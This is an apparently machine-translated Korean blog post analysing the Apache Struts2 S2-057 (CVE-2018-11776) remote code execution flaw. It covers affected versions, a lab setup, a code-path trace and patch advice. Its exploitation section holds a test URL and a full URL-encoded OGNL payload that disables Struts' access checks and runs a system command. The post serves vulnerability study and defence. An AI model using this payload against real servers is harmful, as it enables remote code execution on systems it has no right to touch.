Apache Struts2 S2-057 원격 코드 실행 취약점 분석을 수행하는 방법

PHPz
풀어 주다: 2023-05-15 21:43:04
앞으로
1949명이 탐색했습니다.

머리말

Apache Struts 프레임워크는 Java Servlet, JavaBeans 및 JSP(JavaServer Pages)의 웹 애플리케이션 프레임워크를 기반으로 하는 오픈 소스 프로젝트로 MVC(Model-View-Controller) 디자인 패턴을 기반으로 합니다. 복잡한 웹 애플리케이션을 구축하는 데 사용됩니다. 이를 통해 애플리케이션의 비즈니스 로직, 제어 로직 및 프레젠테이션 로직의 코드를 분해하여 재사용 및 유지 관리가 더욱 용이해집니다. Struts 프레임워크는 Jakarta 프로젝트의 일부이며 Apache Software Foundation에서 관리합니다.

Tianrongxin Alpha Lab에서는 Apache Struts2 S2-057 원격 코드 실행 취약점 분석을 제공합니다~

1. 취약점 설명

struts.mapper.alwaysSelectFullNamespace가 true로 설정되고 패키지 탭 페이지와 부재 결과의 param 태그 페이지에 있는 네임스페이스 값 또는 와일드카드를 사용하면 네임스페이스가 제어될 수 있습니다. 결국 네임스페이스가 실행을 위해 OGNL 문으로 가져와 원격 코드 실행 취약점이 발생합니다.

1. 영향을 받는 시스템 버전

Apache Struts 2.3 - Struts 2.3.34

Apache Struts 2.5 - Struts 2.5.16

2 취약점 번호

CVE-2018-11776

2. 환경 구축

1. 다운로드: http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip

2. 구성 파일 struts-actionchaining.xml을 수정하세요

다양한 유형의 취약점이 있습니다. 공격 벡터는 다음과 같습니다.

Redirect action

Action chaining

Postback result

첫 번째 것을 예로 들어 구성 파일 콘텐츠를 다음과 같이 수정합니다.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

3. DefaultActionMapper의 취약점 세부 정보

클래스parseNameAndNamespace 메소드에서.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

alwaysSelectFullNamespace가 true로 설정되면 URL에서 네임스페이스 값을 가져옵니다. URL을 제어할 수 있으므로 네임스페이스도 제어할 수 있습니다.

액션이 실행된 후 프로그램은 ServletActionRedirectResult 클래스의 Execute() 메서드를 호출하여 리디렉션 결과를 구문 분석합니다.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

먼저 네임스페이스가 비어 있으면 invocation.getProxy().getNamespace()를 호출하여 변수 네임스페이스에 값을 할당한 다음 변수 네임스페이스를 ActionMapping 생성자에 전달합니다.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

그런 다음 ActionMapper.getUriFromActionMapping()은 ActionMapping 이후의 값을 재구성하고 URL 문자열(네임스페이스 포함)을 생성하여 tmplocation 변수에 할당합니다.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

그런 다음 네임스페이스가 있는 tmplocation이 setLocation() 메서드에 전달됩니다.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

이 메소드는 StrutsResultSupport 클래스의 위치 변수에 tmpLocation 값을 할당합니다.

그런 다음 super.execute() 메서드를 추적하세요.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

ServletActionResult 클래스에서 super.execute()를 계속 추적합니다.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

StrutsResultSupport 클래스의 Execute() 메소드에서 방금 할당된 위치 변수(네임스페이스 포함)가 ConditionalParse() 메소드에 전달됩니다.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

마지막으로 TextParseUtil.translateVariables()를 통한 네임스페이스의 OGNL 구문 분석으로 인해 원격 코드 실행 취약점이 발생했습니다.

4. 취약점 공격

1. URL이 /${(111+111)}/actionChain1.action인 주소를 방문하세요.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

Access가 OGNL 표현식을 트리거하고 URL이 /222/register2.action으로 변경되며 취약점이 존재합니다.

2. 페이로드:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
로그인 후 복사

이 페이로드는 2.3 시리즈 버전에만 적용됩니다.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

5. 복구 제안

1. 공식 패치

영향을 받는 사용자는 가능한 한 빨리 Apache Struts 2.3.35 또는 Struts 2.5.17로 업그레이드해야 합니다. : //struts.apache.org/download.cgi#struts2517.

2. 수동 복구

구성 파일 수정:

패키지 태그의 네임스페이스 값과 결과의 param 태그를 수정하고 와일드카드 사용을 금지합니다.

위 내용은 Apache Struts2 S2-057 원격 코드 실행 취약점 분석을 수행하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:yisu.com
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿